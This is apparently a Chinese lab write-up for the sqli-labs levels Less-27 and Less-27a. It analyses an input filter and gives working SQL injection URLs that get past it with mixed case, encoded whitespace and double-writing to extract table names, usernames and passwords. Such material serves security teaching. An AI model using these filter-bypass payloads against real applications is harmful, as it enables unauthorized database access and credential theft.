Less-27
基于错误_GET_过滤UNION/SELECT_单引号_字符型注入
测试注入字符类型:
?id=2'%26%26 '1'='1 (id=2的用户说明不带括号,id=1的用户说明带括号)
由此得出,这是单引号字符型注入。(不带小括号的)
根据提示我们知道了,过滤了union和select,至于其他的还不清楚,要是一个一个试,太麻烦了,直接看源码文件:
发现没有过滤or
与and
,过滤了几个大小写的union
和select
但是可以用随机大小写绕过,过滤了--
、#
以及/**/
,过滤了两次空格
,过滤了/
但没过滤\
。
所以实际上只过滤了注释
与空格
,与 Less 26 相似。
这一关卡中涉及到了正则表达式中的模式修饰符
或者:
i
如果设定此修正符,模式中的字符将同时匹配大小写字母。
m
当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
s
如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 #以及下一个换行符之间的所有字符,包括两头,也都被忽略。
e
如果设定了此修正符,preg_replace() 在替换字符串中对逆向引用作正常的替换,
?在 . + 和 * 之后 表示非贪婪匹配: *、+和?限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。
综上直接大小写混合绕过即可:
注入方法类似于less-26,这里介绍union联合注入,其他方法自行尝试:
这关可以用%a0
代替空格,但这里多了一种用/*%0a*/
强行制造空格。
原理暂不清楚,但 Less 26 无法使用,也无法使用%0a 但有的人可以,可能跟环境的配置有关。
暴库:
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1
爆表:
?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3||'1
爆字段:
?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
爆数据:
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1
提示::uniunionon 也是可以突破限制的。也就是说可以双写绕过。亦可以利用报错注入和延时注入的语法进行注入。
=============== 分隔符==================
Less-27a
基于盲注_GET_过滤UNION/SELECT_双引号_字符型
这一关没什么好说的,直接看源码:
得出以下结论:
1.双引号字符型注入
2.没有错误回显,不能进行报错注入,即无法使用updatexml函数等,但可以进行布尔盲注,因为他有无错误回显,即正确和错误页面返回的页面不同。
3.可以使用union联合注入,延时盲注。
这里演示一下联合注入,其他自行尝试:
?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1